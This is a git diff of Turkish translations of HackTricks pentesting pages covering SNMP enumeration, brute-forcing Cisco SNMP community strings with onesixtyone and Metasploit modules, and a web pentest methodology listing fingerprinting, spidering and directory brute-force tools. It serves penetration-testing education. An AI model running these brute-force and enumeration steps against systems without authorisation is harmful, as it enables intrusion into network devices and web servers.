Bir nesneye **yazmaya** çalıştığınızda, **`noSuchName` veya `readOnly` hatası** alınır\*\*.\*\*
|
||||
|
||||
Sürüm 1 ve 2/2c'de **kötü** bir topluluk dizesi kullanırsanız, sunucu **yanıt vermez**. Yani, yanıt verirse, **geçerli bir topluluk dizesi kullanılmıştır**.
|
||||
|
||||
|
@ -108,12 +108,12 @@ Sürüm 1 ve 2/2c'de **kötü** bir topluluk dizesi kullanırsanız, sunucu **ya
|
|||
[Wikipedia'dan](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol):
|
||||
|
||||
* SNMP ajanı, UDP portu **161** üzerinde istekleri alır.
|
||||
* Yönetici, bildirimleri ([Traps](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) ve [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) portu **162** üzerinde alır.
|
||||
* [Taşıma Katmanı Güvenliği](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) veya [Datagram Taşıma Katmanı Güvenliği](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security) ile kullanıldığında, istekler portu **10161** üzerinde alınır ve bildirimler portu **10162**'ye gönderilir.
|
||||
* Yönetici, port **162** üzerinde bildirimleri ( [Traps](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) ve [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) alır.
|
||||
* [Taşıma Katmanı Güvenliği](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) veya [Datagram Taşıma Katmanı Güvenliği](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security) ile kullanıldığında, istekler port **10161** üzerinde alınır ve bildirimler port **10162**'ye gönderilir.
|
||||
|
||||
## Brute-Force Topluluk Dizesi (v1 ve v2c)
|
||||
|
||||
**Topluluk dizesini tahmin etmek için** bir sözlük saldırısı gerçekleştirebilirsiniz. SNMP'ye karşı bir brute-force saldırısı gerçekleştirmek için [buradan farklı yolları kontrol edin](../../generic-methodologies-and-resources/brute-force.md#snmp). Sık kullanılan bir topluluk dizesi `public`'dir.
|
||||
**Topluluk dizesini tahmin etmek için** bir sözlük saldırısı gerçekleştirebilirsiniz. SNMP'ye karşı bir brute-force saldırısı gerçekleştirmenin farklı yollarını [buradan kontrol edin](../../generic-methodologies-and-resources/brute-force.md#snmp). Sık kullanılan bir topluluk dizesi `public`'dir.
|
||||
|
||||
## SNMP'yi Sıralama
|
||||
|
||||
|
@ -154,9 +154,9 @@ Ağ yönetimi alanında, belirli yapılandırmalar ve parametreler kapsamlı izl
|
|||
|
||||
**Tam OID ağacına** erişimi sağlayan iki ana ayar, ağ yönetiminde kritik bir bileşendir:
|
||||
|
||||
1. **`rwuser noauth`** kimlik doğrulama gerektirmeden OID ağacına tam erişim izni vermek için ayarlanmıştır. Bu ayar basittir ve sınırsız erişim sağlar.
|
||||
1. **`rwuser noauth`**, kimlik doğrulama gerektirmeden OID ağacına tam erişim izni vermek için ayarlanmıştır. Bu ayar basittir ve sınırsız erişim sağlar.
|
||||
2. Daha spesifik kontrol için erişim şu şekilde verilebilir:
|
||||
* **`rwcommunity`** **IPv4** adresleri için ve
|
||||
* **`rwcommunity`** **IPv4** adresleri için, ve
|
||||
* **`rwcommunity6`** **IPv6** adresleri için.
|
||||
|
||||
Her iki komut da bir **topluluk dizesi** ve ilgili IP adresi gerektirir, talebin kaynağından bağımsız olarak tam erişim sunar.
|
||||
|
@ -171,7 +171,7 @@ SNMP aracılığıyla bir Windows sisteminin çeşitli yönlerini izlemek için
|
|||
* **Depolama Birimleri**: Depolama birimlerinin izlenmesi `1.3.6.1.2.1.25.2.3.1.4` ile sağlanır.
|
||||
* **Yazılım Adı**: Bir sistemde yüklü yazılımı tanımlamak için `1.3.6.1.2.1.25.6.3.1.2` kullanılır.
|
||||
* **Kullanıcı Hesapları**: `1.3.6.1.4.1.77.1.2.25` değeri, kullanıcı hesaplarının izlenmesini sağlar.
|
||||
* **TCP Yerel Portları**: Son olarak, `1.3.6.1.2.1.6.13.1.3` TCP yerel portlarının izlenmesi için ayrılmıştır ve aktif ağ bağlantıları hakkında bilgi verir.
|
||||
* **TCP Yerel Portları**: Son olarak, `1.3.6.1.2.1.6.13.1.3`, aktif ağ bağlantılarına dair içgörü sağlayarak TCP yerel portlarının izlenmesi için ayrılmıştır.
|
||||
|
||||
### Cisco
|
||||
|
||||
|
@ -191,7 +191,7 @@ Eğer SNMP hizmeti içinde **değerler yazmanıza** izin veren bir **dize** vars
|
|||
|
||||
## **Kapsamlı SNMP**
|
||||
|
||||
[Braa](https://github.com/mteg/braa) bir kütle SNMP tarayıcısıdır. Böyle bir aracın amaçlanan kullanımı, elbette, SNMP sorguları yapmaktır - ancak net-snmp'den snmpwalk'tan farklı olarak, aynı anda onlarca veya yüzlerce ana bilgisayarı sorgulayabilir ve tek bir işlemde bunu yapar. Böylece, çok az sistem kaynağı tüketir ve taramayı ÇOK hızlı gerçekleştirir.
|
||||
[Braa](https://github.com/mteg/braa), toplu bir SNMP tarayıcısıdır. Böyle bir aracın amaçlanan kullanımı, elbette, SNMP sorguları yapmaktır – ancak net-snmp'den snmpwalk'tan farklı olarak, aynı anda onlarca veya yüzlerce ana bilgisayarı sorgulayabilir ve tek bir işlemde çalışır. Böylece, çok az sistem kaynağı tüketir ve taramayı ÇOK hızlı yapar.
|
||||
|
||||
Braa, KENDİ snmp yığınına sahiptir, bu nedenle net-snmp gibi herhangi bir SNMP kütüphanesine ihtiyaç duymaz.
|
||||
|
||||
|
@ -241,7 +241,7 @@ Eğer yalnızca bazı IP'lerin SNMP hizmetini sorgulamasına izin veren bir ACL
|
|||
* snmpd.conf
|
||||
* snmp-config.xml
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Eğer **hack kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
|
||||
|
||||
|
|
|
@ -1,31 +1,31 @@
|
|||
# Cisco SNMP
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
|
||||
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı yazılı ve sözlü Lehçe gereklidir_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Pentesting Cisco Networks
|
||||
## Cisco Ağlarının Pentestingi
|
||||
|
||||
**SNMP**, genel mesajlar için 161/UDP ve tuzak mesajları için 162/UDP ile UDP üzerinden çalışır. Bu protokol, SNMP ajanları ve sunucuları arasında iletişimi sağlayan şifreler olarak işlev gören topluluk dizelerine dayanır. Bu dizeler, erişim seviyelerini belirlediği için kritik öneme sahiptir; özellikle **sadece okuma (RO) veya okuma-yazma (RW) izinleri**. Pentesterlar için dikkate değer bir saldırı vektörü, ağ cihazlarına sızmayı hedefleyen **topluluk dizelerinin kaba kuvvetle kırılmasıdır**.
|
||||
**SNMP**, genel mesajlar için 161/UDP ve tuzak mesajları için 162/UDP ile UDP üzerinden çalışır. Bu protokol, SNMP ajanları ve sunucuları arasında iletişimi sağlayan şifreler olarak işlev gören topluluk dizelerine dayanır. Bu dizeler, erişim seviyelerini belirlediği için kritik öneme sahiptir; özellikle **sadece okuma (RO) veya okuma-yazma (RW) izinleri**. Pentesterler için dikkate değer bir saldırı vektörü, ağ cihazlarına sızmayı hedefleyen **topluluk dizelerinin brute-force edilmesidir**.
|
||||
|
||||
Böyle kaba kuvvet saldırılarını gerçekleştirmek için pratik bir araç [**onesixtyone**](https://github.com/trailofbits/onesixtyone) olup, potansiyel topluluk dizeleri ve hedeflerin IP adreslerinin bir listesini gerektirir:
|
||||
Bu tür brute-force saldırılarını gerçekleştirmek için pratik bir araç [**onesixtyone**](https://github.com/trailofbits/onesixtyone) olup, potansiyel topluluk dizeleri ve hedeflerin IP adreslerinin bir listesini gerektirir:
|
||||
```bash
|
||||
onesixtyone -c communitystrings -i targets
|
||||
```
|
||||
|
@ -38,7 +38,7 @@ Metasploit çerçevesi, cihaz yapılandırmalarının çıkarılmasını kolayla
|
|||
* Hedef cihazın IP'si (**RHOSTS**)
|
||||
* Yapılandırma dosyaları için hedef yol (**OUTPUTDIR**)
|
||||
|
||||
Yapılandırma tamamlandığında, bu modül cihaz ayarlarını doğrudan belirtilen bir klasöre indirmeyi sağlar.
|
||||
Yapılandırma tamamlandığında, bu modül cihaz ayarlarının belirtilen bir klasöre doğrudan indirilmesini sağlar.
|
||||
|
||||
#### `snmp_enum`
|
||||
|
||||
|
@ -52,7 +52,7 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
|||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Eğer **hackleme kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# 80,443 - Pentesting Web Methodology
|
||||
# 80,443 - Pentesting Web Methodolojisi
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -10,14 +10,14 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.p
|
|||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||||
* **Hacking ipuçlarını paylaşın,** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek.
|
||||
* **Hacking ipuçlarını paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
|
||||
**Hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -46,22 +46,22 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
|
||||
> Bu metodolojide, bir alan adını (veya alt alan adını) hedef alacağınızı varsayıyoruz ve sadece bunu. Bu nedenle, keşfedilen her alan adı, alt alan adı veya belirsiz web sunucusu içeren IP için bu metodolojiyi uygulamalısınız.
|
||||
|
||||
* [ ] **Teknolojileri** **belirleyerek** başlayın. Teknolojiyi başarıyla tanımlayabilirseniz, testin geri kalanında aklınızda bulundurmanız gereken **ipuçları** arayın.
|
||||
* [ ] **Web sunucusu** tarafından kullanılan **teknolojileri** **belirleyerek** başlayın. Teknolojiyi başarıyla tanımlayabilirseniz, testin geri kalanında aklınızda bulundurmanız gereken **ipuçları** arayın.
|
||||
* [ ] Teknolojinin sürümüne ait herhangi bir **bilinen zafiyet** var mı?
|
||||
* [ ] Herhangi bir **iyi bilinen teknoloji** mi kullanılıyor? Daha fazla bilgi çıkarmak için herhangi bir **yararlı ipucu** var mı?
|
||||
* [ ] Çalıştırılacak herhangi bir **uzman tarayıcı** var mı (örneğin wpscan)?
|
||||
* [ ] Çalıştırılacak herhangi bir **özel tarayıcı** var mı (örneğin wpscan)?
|
||||
* [ ] **Genel amaçlı tarayıcıları** başlatın. Ne bulacaklarını veya ilginç bilgiler bulup bulamayacaklarını asla bilemezsiniz.
|
||||
* [ ] **İlk kontrollerle** başlayın: **robots**, **sitemap**, **404** hatası ve **SSL/TLS taraması** (eğer HTTPS ise).
|
||||
* [ ] Web sayfasını **örümcekleme** ile başlayın: Tüm olası **dosyaları, klasörleri** ve **kullanılan parametreleri bulma** zamanı. Ayrıca, **özel bulgular** için kontrol edin.
|
||||
* [ ] _Brute-forcing veya örümcekleme sırasında yeni bir dizin keşfedildiğinde, o dizin örümceklenmelidir._
|
||||
* [ ] **Dizin Brute-Forcing**: Keşfedilen tüm klasörleri brute force ile yeni **dosyalar** ve **dizinler** arayın.
|
||||
* [ ] _Brute-forcing veya örümcekleme sırasında yeni bir dizin keşfedildiğinde, o dizin Brute-Forced edilmelidir._
|
||||
* [ ] Web sayfasını **spidering** yapmaya başlayın: Tüm olası **dosyaları, klasörleri** ve **kullanılan parametreleri bulma** zamanı. Ayrıca, **özel bulgular** için kontrol edin.
|
||||
* [ ] _Brute-forcing veya spidering sırasında yeni bir dizin keşfedildiğinde, o dizin de spidering yapılmalıdır._
|
||||
* [ ] **Dizin Brute-Forcing**: Keşfedilen tüm klasörleri brute force yaparak yeni **dosyalar** ve **dizinler** arayın.
|
||||
* [ ] _Brute-forcing veya spidering sırasında yeni bir dizin keşfedildiğinde, o dizin de Brute-Forced yapılmalıdır._
|
||||
* [ ] **Yedek kontrolü**: Ortaya çıkan **dosyaların** **yedeklerini** bulup bulamayacağınızı test edin, yaygın yedek uzantılarını ekleyerek.
|
||||
* [ ] **Brute-Force parametreleri**: **Gizli parametreleri** bulmaya çalışın.
|
||||
* [ ] Tüm olası **kullanıcı girişi** kabul eden **uç noktaları** **belirledikten** sonra, bunlarla ilgili her türlü **zafiyeti** kontrol edin.
|
||||
* [ ] [Bu kontrol listesini takip edin](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
||||
## Sunucu Sürümü (Zafiyetli mi?)
|
||||
## Sunucu Sürümü (Zayıf mı?)
|
||||
|
||||
### Belirleme
|
||||
|
||||
|
@ -73,7 +73,7 @@ whatweb -a 3 <URL> #Aggresive
|
|||
webtech -u <URL>
|
||||
webanalyze -host https://google.com -crawl 2
|
||||
```
|
||||
Search **for** [**web uygulamasının** **sürüm** **açıklarını**](../../generic-methodologies-and-resources/search-exploits.md)
|
||||
Search **for** [**web uygulamasının zayıflıkları** **versiyonu**](../../generic-methodologies-and-resources/search-exploits.md)
|
||||
|
||||
### **Herhangi bir WAF olup olmadığını kontrol et**
|
||||
|
||||
|
@ -83,7 +83,7 @@ Search **for** [**web uygulamasının** **sürüm** **açıklarını**](../../ge
|
|||
|
||||
### Web teknoloji hileleri
|
||||
|
||||
Farklı iyi bilinen **teknolojilerde** **açıkları** bulmak için bazı **hileler**:
|
||||
Farklı iyi bilinen **teknolojilerde zayıflıkları bulmak için bazı hileler**:
|
||||
|
||||
* [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
|
||||
* [**Apache**](apache.md)
|
||||
|
@ -117,19 +117,19 @@ Farklı iyi bilinen **teknolojilerde** **açıkları** bulmak için bazı **hile
|
|||
* [**Wordpress**](wordpress.md)
|
||||
* [**Electron Desktop (XSS'den RCE'ye)**](electron-desktop-apps/)
|
||||
|
||||
_Dikkate al ki **aynı alan** farklı **portlar**, **klasörler** ve **alt alanlar** içinde **farklı teknolojiler** kullanıyor olabilir._\
|
||||
Eğer web uygulaması daha önce listelenen herhangi bir iyi bilinen **teknoloji/platform** veya **başka bir şey** kullanıyorsa, **İnternette** yeni hileler **aramayı** unutma (ve bana haber ver!).
|
||||
_Dikkate almanız gereken, **aynı alanın** farklı **portlar**, **klasörler** ve **alt alanlar** içinde **farklı teknolojiler** kullanıyor olabileceğidir._\
|
||||
Eğer web uygulaması daha önce listelenen herhangi bir iyi bilinen **teknoloji/platform** veya **başka bir şey** kullanıyorsa, **İnternette** yeni hileler **aramayı** unutmayın (ve bana bildirin!).
|
||||
|
||||
### Kaynak Kodu İncelemesi
|
||||
|
||||
Eğer uygulamanın **kaynak kodu** **github**'da mevcutsa, uygulamanın **kendi başına bir Beyaz kutu testi** yapmanın yanı sıra, mevcut **Siyah Kutu testi** için **bazı bilgiler** **yararlı** olabilir:
|
||||
Eğer uygulamanın **kaynak kodu** **github**'da mevcutsa, uygulamanın **kendi başınıza bir Beyaz kutu testi** yapmanın yanı sıra, mevcut **Siyah Kutu testi** için **bazı bilgiler** **yararlı** olabilir:
|
||||
|
||||
* **Değişiklik günlüğü veya Readme veya Sürüm** dosyası veya web üzerinden erişilebilen **sürüm bilgisi** içeren herhangi bir şey var mı?
|
||||
* **Değişiklik günlüğü veya Readme veya Versiyon** dosyası veya web üzerinden erişilebilen **versiyon bilgisi** içeren herhangi bir şey var mı?
|
||||
* **Kimlik bilgileri** nasıl ve nerede saklanıyor? **Kimlik bilgileri** (kullanıcı adları veya şifreler) ile ilgili herhangi bir (erişilebilir?) **dosya** var mı?
|
||||
* **Şifreler** **düz metin**, **şifrelenmiş** mi yoksa hangi **hash algoritması** kullanılıyor?
|
||||
* Bir şeyi şifrelemek için herhangi bir **anahtar** kullanıyor mu? Hangi **algoritma** kullanılıyor?
|
||||
* Herhangi bir **açığı** sömürerek bu dosyalara **erişebilir misin**?
|
||||
* **Github'da** (çözülen ve çözülmeyen) **sorularda** herhangi bir **ilginç bilgi** var mı? Ya da **commit geçmişinde** (belki eski bir commit içinde bazı **şifreler** girişi)?
|
||||
* Herhangi bir zayıflığı sömürerek **bu dosyalara erişebilir misiniz**?
|
||||
* **Github'da** (çözülen ve çözülmeyen) **sorularda** herhangi bir **ilginç bilgi** var mı? Veya **commit geçmişinde** (belki eski bir commit içinde bazı **şifreler** tanıtılmıştır)?
|
||||
|
||||
{% content-ref url="code-review-tools.md" %}
|
||||
[code-review-tools.md](code-review-tools.md)
|
||||
|
@ -166,11 +166,11 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
|||
```
|
||||
> Bu noktada, istemci tarafından kullanılan web sunucusu hakkında bazı bilgilere sahip olmalısınız (eğer herhangi bir veri verilmişse) ve test sırasında aklınızda bulundurmanız gereken bazı ipuçları. Şanslıysanız, bir CMS bulmuş ve bazı tarayıcılar çalıştırmış olabilirsiniz.
|
||||
|
||||
## Adım adım Web Uygulaması Keşfi
|
||||
## Adım Adım Web Uygulaması Keşfi
|
||||
|
||||
> Bu noktadan itibaren web uygulamasıyla etkileşime geçmeye başlayacağız.
|
||||
|
||||
### İlk kontroller
|
||||
### İlk Kontroller
|
||||
|
||||
**İlginç bilgiler içeren varsayılan sayfalar:**
|
||||
|
||||
|
@ -181,28 +181,28 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
|||
* /.well-known/
|
||||
* Ana ve ikincil sayfalardaki yorumları da kontrol edin.
|
||||
|
||||
**Hataları zorlamak**
|
||||
**Hataları Zorlamak**
|
||||
|
||||
Web sunucuları, onlara garip veriler gönderildiğinde **beklenmedik şekilde davranabilir**. Bu, **açıklara** veya **hassas bilgilerin ifşasına** yol açabilir.
|
||||
|
||||
* /whatever\_fake.php (.aspx,.html,.vb) gibi **sahte sayfalara** erişin
|
||||
* **Hata oluşturmak için** **cookie değerlerine** ve **parametre** değerlerine **"\[]", "]]", ve "\[\["** ekleyin
|
||||
* /whatever\_fake.php gibi **sahte sayfalara** erişin (.aspx, .html, vb.)
|
||||
* **Hata oluşturmak için** **cookie değerlerine** ve **parametre** değerlerine **"\[]", "]]" ve "\[\["** ekleyin
|
||||
* **URL'nin** **sonuna** **`/~randomthing/%s`** girerek hata oluşturun
|
||||
* PATCH, DEBUG veya FAKE gibi **farklı HTTP Fiilleri** deneyin
|
||||
|
||||
#### **Dosya yükleyip yükleyemeyeceğinizi kontrol edin (**[**PUT fiili, WebDav**](put-method-webdav.md)**)**
|
||||
|
||||
Eğer **WebDav** **etkinse** ama kök klasörde **dosya yüklemek için** yeterli izniniz yoksa şunları deneyin:
|
||||
Eğer **WebDav** **etkinse** ama kök klasörde **dosya yüklemek için yeterli izinleriniz yoksa**, şunları deneyin:
|
||||
|
||||
* **Kullanıcı adı ve şifreleri** **Kaba Kuvvet** ile denemek
|
||||
* WebDav aracılığıyla web sayfasındaki **bulunan diğer klasörlere** **dosya yüklemek**. Diğer klasörlerde dosya yüklemek için izinleriniz olabilir.
|
||||
|
||||
### **SSL/TLS açıkları**
|
||||
### **SSL/TLS açıklıkları**
|
||||
|
||||
* Eğer uygulama **HTTPS kullanıcısını zorlamıyorsa**, o zaman **MitM'ye** karşı **açık** demektir.
|
||||
* Eğer uygulama **hassas verileri (şifreler) HTTP kullanarak gönderiyorsa**. O zaman bu yüksek bir açık demektir.
|
||||
* Uygulama, herhangi bir yerde HTTPS kullanıcısını **zorlamıyorsa**, o zaman **MitM'ye karşı savunmasızdır**
|
||||
* Uygulama, **hassas verileri (şifreler) HTTP kullanarak gönderiyorsa**. O zaman bu yüksek bir açıklıktır.
|
||||
|
||||
**Açıkları** kontrol etmek için [**testssl.sh**](https://github.com/drwetter/testssl.sh) kullanın (Bug Bounty programlarında muhtemelen bu tür açıklar kabul edilmeyecektir) ve açıkları yeniden kontrol etmek için [**a2sv**](https://github.com/hahwul/a2sv) kullanın:
|
||||
**Açıkları** kontrol etmek için [**testssl.sh**](https://github.com/drwetter/testssl.sh) kullanın (Bug Bounty programlarında muhtemelen bu tür açıklıklar kabul edilmeyecektir) ve açıklıkları yeniden kontrol etmek için [**a2sv**](https://github.com/hahwul/a2sv) kullanın:
|
||||
```bash
|
||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||
#Use the --htmlfile to save the output inside an htmlfile also
|
||||
|
@ -224,7 +224,7 @@ Web üzerinde bir tür **spider** başlatın. Spider'ın amacı, test edilen uyg
|
|||
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, JS dosyaları için LinkFinder ve harici kaynak olarak Archive.org ile.
|
||||
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, ayrıca "juicy files" gösterir.
|
||||
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Etkileşimli CLI HTML spider. Ayrıca Archive.org'da arama yapar.
|
||||
* [**meg**](https://github.com/tomnomnom/meg) (go): Bu araç bir spider değildir ama faydalı olabilir. Sadece bir dosya ile hostları ve bir dosya ile yolları belirtebilir ve meg her hostta her yolu alır ve yanıtı kaydeder.
|
||||
* [**meg**](https://github.com/tomnomnom/meg) (go): Bu araç bir spider değildir ama faydalı olabilir. Sadece bir dosya ile hostları ve bir dosya ile yolları belirtebilir ve meg her hosttaki her yolu alır ve yanıtı kaydeder.
|
||||
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS renderleme yeteneklerine sahip HTML spider. Ancak, bakımsız görünüyor, önceden derlenmiş versiyonu eski ve mevcut kod derlenmiyor.
|
||||
* [**gau**](https://github.com/lc/gau) (go): Harici sağlayıcılar (wayback, otx, commoncrawl) kullanan HTML spider.
|
||||
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Bu script, parametre içeren URL'leri bulacak ve listeleyecektir.
|
||||
|
@ -239,12 +239,12 @@ Web üzerinde bir tür **spider** başlatın. Spider'ın amacı, test edilen uyg
|
|||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Önceki araçların çeşitli seçeneklerini birleştiren içerik keşif aracı.
|
||||
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS dosyalarında yol ve parametre bulmak için bir Burp uzantısı.
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Verilen .js.map URL'si ile size güzelleştirilmiş JS kodunu alacak bir araç.
|
||||
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Belirli bir hedef için uç noktaları keşfetmek için kullanılan bir araçtır.
|
||||
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Belirli bir hedef için uç noktaları keşfetmek için kullanılan bir araç.
|
||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback makinesinden bağlantıları keşfedin (aynı zamanda yanıtları indirin ve daha fazla bağlantı arayın).
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Form doldurarak tarama yapın ve belirli regex'ler kullanarak hassas bilgileri bulun.
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Form doldurarak bile tarama yapın ve belirli regex'ler kullanarak hassas bilgileri bulun.
|
||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite, siber güvenlik profesyonelleri için tasarlanmış gelişmiş çok özellikli GUI web güvenlik Tarayıcısı/Spider'dır.
|
||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): URL'leri, yolları, sırları ve JavaScript kaynak kodundan diğer ilginç verileri çıkarmak için bir Go paketi ve [komut satırı aracı](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice).
|
||||
